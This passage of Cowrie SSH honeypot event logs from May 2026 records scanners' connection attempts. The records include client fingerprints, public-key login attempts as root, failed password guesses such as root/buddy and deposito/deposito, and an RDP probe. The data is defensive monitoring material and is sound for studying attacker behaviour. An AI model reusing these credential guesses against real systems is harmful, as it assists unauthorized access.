p-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:44:32.928391Z","src_ip":"192.250.227.24","session":"b4e2098c321b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5f:9e:bc:2b:89:9a:77:68:29:66:bc:e9:79:6a:6b:07","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCQT8VCEhAFJ8OA6DEFJLVYKUQwFAQNeW93GbRCdQMQgII1j/J4juG3cls+eJheagmzyancJcNA60n4XcS9fld5CXGLv0+g0oEh1Io82Jjilz9ay1wVeU+naH1rnPJ+81Ine1JWsdyAiRqbgw+ttnQHGZaKuiaT41XhuUTtMfHNsH6MJ9cbbbTVAOfKuBJSvoeiIkbxn7B5Hpv1WCIGZhx5YoK5TwJ+Jf7G4RJrEwpx8kBsaRI1hpHc5ZpcKlriE7n/3Uc1IEphbHtHbKx1wiWjGld527mCoKfYLTMap7dhoXGN4QTLVqbSolxEyoyleE7OtzUSLEN8/XeaXo6Ni0VT","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 5f:9e:bc:2b:89:9a:77:68:29:66:bc:e9:79:6a:6b:07","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:44:33.128788Z","src_ip":"192.250.227.24","session":"b4e2098c321b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5f:9e:bc:2b:89:9a:77:68:29:66:bc:e9:79:6a:6b:07","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCQT8VCEhAFJ8OA6DEFJLVYKUQwFAQNeW93GbRCdQMQgII1j/J4juG3cls+eJheagmzyancJcNA60n4XcS9fld5CXGLv0+g0oEh1Io82Jjilz9ay1wVeU+naH1rnPJ+81Ine1JWsdyAiRqbgw+ttnQHGZaKuiaT41XhuUTtMfHNsH6MJ9cbbbTVAOfKuBJSvoeiIkbxn7B5Hpv1WCIGZhx5YoK5TwJ+Jf7G4RJrEwpx8kBsaRI1hpHc5ZpcKlriE7n/3Uc1IEphbHtHbKx1wiWjGld527mCoKfYLTMap7dhoXGN4QTLVqbSolxEyoyleE7OtzUSLEN8/XeaXo6Ni0VT","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:44:33.132299Z","src_ip":"192.250.227.24","session":"b4e2098c321b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"62:2d:b4:41:1a:11:bb:92:59:99:9a:e4:05:1a:1f:10","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAzVUInUDtGLo/O8C+rsX9+xH0XB/86mcZktbCdbHvszHnSkCrijiLIf7IHmJO7s8xyRo2Jq/KpQS3bAE5dRza0zcfKRZJefB9nv3ncXaAJpQL6FJAfDmT65mJDtrhUmR7Jc187XcFntyf6XJpcCrY/MFRY6clqy4T5yS+X/yME8fibV9h9jq5GBrlHsh9x2dhCrdMD7Xob1scyyNrI+QOzFuyo/0ixEcEj9PimKBL9cLTFaF+D5Y+YC7bE9R1JUFlzlG68dJ4ufmvPFgjoTisvYHW+IHmcIT8CtEuYJYzlKSixhKNJBdvZS0wmMbDw3VAd59q2kQeXIcbEv3VQUTF2Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 62:2d:b4:41:1a:11:bb:92:59:99:9a:e4:05:1a:1f:10","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:44:33.177000Z","src_ip":"192.250.227.24","session":"b4e2098c321b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"62:2d:b4:41:1a:11:bb:92:59:99:9a:e4:05:1a:1f:10","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAzVUInUDtGLo/O8C+rsX9+xH0XB/86mcZktbCdbHvszHnSkCrijiLIf7IHmJO7s8xyRo2Jq/KpQS3bAE5dRza0zcfKRZJefB9nv3ncXaAJpQL6FJAfDmT65mJDtrhUmR7Jc187XcFntyf6XJpcCrY/MFRY6clqy4T5yS+X/yME8fibV9h9jq5GBrlHsh9x2dhCrdMD7Xob1scyyNrI+QOzFuyo/0ixEcEj9PimKBL9cLTFaF+D5Y+YC7bE9R1JUFlzlG68dJ4ufmvPFgjoTisvYHW+IHmcIT8CtEuYJYzlKSixhKNJBdvZS0wmMbDw3VAd59q2kQeXIcbEv3VQUTF2Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:44:33.181611Z","src_ip":"192.250.227.24","session":"b4e2098c321b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"51:70:0e:a2:b0:60:ca:98:df:9b:8f:ba:50:7e:c6:40","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAySD8Ewki3aqwtxnT6S2naU5lvVkndE051bRm88FCU5nCofUhzCbDAnwQtJh0I3yWtVsEJhiHckrshLyAn4TI3oh0643x8QZ1VRMICoWLLNHPxGygao3h/XZsZ2nLadnI8q8aA5PP5dWRsk6X8U3RVOZLViWkfzBUcT0NrUKBTnCU6pNmo/Jm+nvAP4nJsFaxVNj7VUobegh8wXplarUtIb5YmBRK64klmApRuCckGjnMtARZ+5+KYqoFv+44/VD4ByP/JuFCZHZzEqDbZDEoUCyxgCFb8Ov+cMfhun0mIbP4P0UyV4yqRmimi4gKwTufYgrsX2L8/tKV85D72Q0VUQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 51:70:0e:a2:b0:60:ca:98:df:9b:8f:ba:50:7e:c6:40","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:44:33.226330Z","src_ip":"192.250.227.24","session":"b4e2098c321b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"51:70:0e:a2:b0:60:ca:98:df:9b:8f:ba:50:7e:c6:40","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAySD8Ewki3aqwtxnT6S2naU5lvVkndE051bRm88FCU5nCofUhzCbDAnwQtJh0I3yWtVsEJhiHckrshLyAn4TI3oh0643x8QZ1VRMICoWLLNHPxGygao3h/XZsZ2nLadnI8q8aA5PP5dWRsk6X8U3RVOZLViWkfzBUcT0NrUKBTnCU6pNmo/Jm+nvAP4nJsFaxVNj7VUobegh8wXplarUtIb5YmBRK64klmApRuCckGjnMtARZ+5+KYqoFv+44/VD4ByP/JuFCZHZzEqDbZDEoUCyxgCFb8Ov+cMfhun0mIbP4P0UyV4yqRmimi4gKwTufYgrsX2L8/tKV85D72Q0VUQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:44:33.230083Z","src_ip":"192.250.227.24","session":"b4e2098c321b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e2:b8:a2:96:f1:ef:59:b1:85:a0:ab:15:c6:d5:f4:1b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAuMCY3gqrXJ7XmnHQh/IdLkjZMQww6ZV3boYBBEK4JgZbl8lwV2y438eX8aiGA4T0a0j2+bmaQwXV+FTEuWWRn/Oe/Z9n7CVvCAtMEvlE5Cf+dkzthDeCVHfXlUR6RQDlT7wiWaaOGMd1ihaeEVNcflt3TUn7thaHeP2+sfjtJBU+mnL56VNiX9f8+B/4sfCSPoasddDkX+BK/8uaZhF+KJwHau08cNmbqp1sg8OHo7fHZn4DGV/aWh4mDkJ04EKHGlMhX9zeWALLrX7yUbBJBLQJKBC7eqe1Na+H8uuf1qABbCEWP5pxiV3bnXnhB2eDfXoWJKhwBh8qnibHDCVFww==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e2:b8:a2:96:f1:ef:59:b1:85:a0:ab:15:c6:d5:f4:1b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:44:33.274585Z","src_ip":"192.250.227.24","session":"b4e2098c321b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e2:b8:a2:96:f1:ef:59:b1:85:a0:ab:15:c6:d5:f4:1b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAuMCY3gqrXJ7XmnHQh/IdLkjZMQww6ZV3boYBBEK4JgZbl8lwV2y438eX8aiGA4T0a0j2+bmaQwXV+FTEuWWRn/Oe/Z9n7CVvCAtMEvlE5Cf+dkzthDeCVHfXlUR6RQDlT7wiWaaOGMd1ihaeEVNcflt3TUn7thaHeP2+sfjtJBU+mnL56VNiX9f8+B/4sfCSPoasddDkX+BK/8uaZhF+KJwHau08cNmbqp1sg8OHo7fHZn4DGV/aWh4mDkJ04EKHGlMhX9zeWALLrX7yUbBJBLQJKBC7eqe1Na+H8uuf1qABbCEWP5pxiV3bnXnhB2eDfXoWJKhwBh8qnibHDCVFww==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:44:33.278644Z","src_ip":"192.250.227.24","session":"b4e2098c321b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"23:04:0b:39:89:7d:42:98:8d:b2:75:93:a0:dc:96:a3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAxt5s4e6sUe6jOEUtksWdPrptArD+vEX0oVWaPzPZRiTOEanZNLUnPBoEMtBeW4efU2O6sRQzO+rXZKyg1mfDjYqMWU1xnEaigy0kGJGohGlDfxkcQzYmwg96gtmtve24Rb8BJb7TE21uHetRP0HKZm1+7waO5x8w0fpcaDVs8VszRVc0W+KIfS0fNFKSdUQSayJhkA2wV6UcpUNkwHKaMhozC8q4u/XFTh0UxsPtDhDQYd0YOeBw34xHiX9cBE5b0iyteGdifqHMumwevYm0hfxLpAAPQ+WRNaoFcEch0srDxCdPR5ewjOys951D/loemFiSvKlT7fDv1Fcc/knuXQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 23:04:0b:39:89:7d:42:98:8d:b2:75:93:a0:dc:96:a3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:44:33.327948Z","src_ip":"192.250.227.24","session":"b4e2098c321b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"23:04:0b:39:89:7d:42:98:8d:b2:75:93:a0:dc:96:a3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAxt5s4e6sUe6jOEUtksWdPrptArD+vEX0oVWaPzPZRiTOEanZNLUnPBoEMtBeW4efU2O6sRQzO+rXZKyg1mfDjYqMWU1xnEaigy0kGJGohGlDfxkcQzYmwg96gtmtve24Rb8BJb7TE21uHetRP0HKZm1+7waO5x8w0fpcaDVs8VszRVc0W+KIfS0fNFKSdUQSayJhkA2wV6UcpUNkwHKaMhozC8q4u/XFTh0UxsPtDhDQYd0YOeBw34xHiX9cBE5b0iyteGdifqHMumwevYm0hfxLpAAPQ+WRNaoFcEch0srDxCdPR5ewjOys951D/loemFiSvKlT7fDv1Fcc/knuXQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:44:33.331921Z","src_ip":"192.250.227.24","session":"b4e2098c321b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:44:33.376741Z","src_ip":"192.250.227.24","session":"b4e2098c321b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"115.91.48.142","src_port":55458,"dst_ip":"10.17.0.5","dst_port":22,"session":"d12c814b73b9","protocol":"ssh","message":"New connection: 115.91.48.142:55458 (10.17.0.5:22) [session: d12c814b73b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:44:34.162062Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:44:34.166848Z","src_ip":"115.91.48.142","session":"d12c814b73b9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:44:34.364732Z","src_ip":"115.91.48.142","session":"d12c814b73b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sipv","password":"sipv","message":"login attempt [sipv/sipv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:44:35.187424Z","src_ip":"115.91.48.142","session":"d12c814b73b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:44:36.388475Z","src_ip":"115.91.48.142","session":"d12c814b73b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":57250,"dst_ip":"10.17.0.5","dst_port":22,"session":"28711f249e8d","protocol":"ssh","message":"New connection: 167.172.81.52:57250 (10.17.0.5:22) [session: 28711f249e8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:44:37.670059Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:44:37.675209Z","src_ip":"167.172.81.52","session":"28711f249e8d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:44:37.679120Z","src_ip":"167.172.81.52","session":"28711f249e8d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.253.79.194","src_port":55060,"dst_ip":"10.17.0.5","dst_port":22,"session":"9eb95674f810","protocol":"ssh","message":"New connection: 182.253.79.194:55060 (10.17.0.5:22) [session: 9eb95674f810]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:44:55.661492Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:44:55.669409Z","src_ip":"182.253.79.194","session":"9eb95674f810","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:44:55.945395Z","src_ip":"182.253.79.194","session":"9eb95674f810","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"40.117.97.0","src_port":60630,"dst_ip":"10.17.0.5","dst_port":22,"session":"9c5f764ea21a","protocol":"ssh","message":"New connection: 40.117.97.0:60630 (10.17.0.5:22) [session: 9c5f764ea21a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:44:56.186669Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:44:56.347551Z","src_ip":"40.117.97.0","session":"9c5f764ea21a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:44:56.357288Z","src_ip":"40.117.97.0","session":"9c5f764ea21a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"buddy","message":"login attempt [root/buddy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:44:56.971251Z","src_ip":"40.117.97.0","session":"9c5f764ea21a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deposito","password":"deposito","message":"login attempt [deposito/deposito] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:44:57.039955Z","src_ip":"182.253.79.194","session":"9eb95674f810","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:44:57.987766Z","src_ip":"40.117.97.0","session":"9c5f764ea21a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:44:58.308545Z","src_ip":"182.253.79.194","session":"9eb95674f810","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"205.210.31.153","src_port":56561,"dst_ip":"159.203.135.109","dst_port":22,"session":"725821e49b67","protocol":"ssh","message":"New connection: 205.210.31.153:56561 (159.203.135.109:22) [session: 725821e49b67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:45:14.993714Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:45:15.149185Z","src_ip":"205.210.31.153","session":"725821e49b67","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"150.109.20.59","src_port":47872,"dst_ip":"10.17.0.5","dst_port":22,"session":"c9bfc5b94cb2","protocol":"ssh","message":"New connection: 150.109.20.59:47872 (10.17.0.5:22) [session: c9bfc5b94cb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:45:33.654109Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:45:33.661165Z","src_ip":"150.109.20.59","session":"c9bfc5b94cb2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:45:33.898034Z","src_ip":"150.109.20.59","session":"c9bfc5b94cb2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.173.90.78","src_port":36854,"dst_ip":"159.203.135.109","dst_port":22,"session":"9db34cfb3afe","protocol":"ssh","message":"New connection: 43.173.90.78:36854 (159.203.135.109:22) [session: 9db34cfb3afe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:45:34.181573Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:45:34.186817Z","src_ip":"43.173.90.78","session":"9db34cfb3afe","protocol":"ssh"}
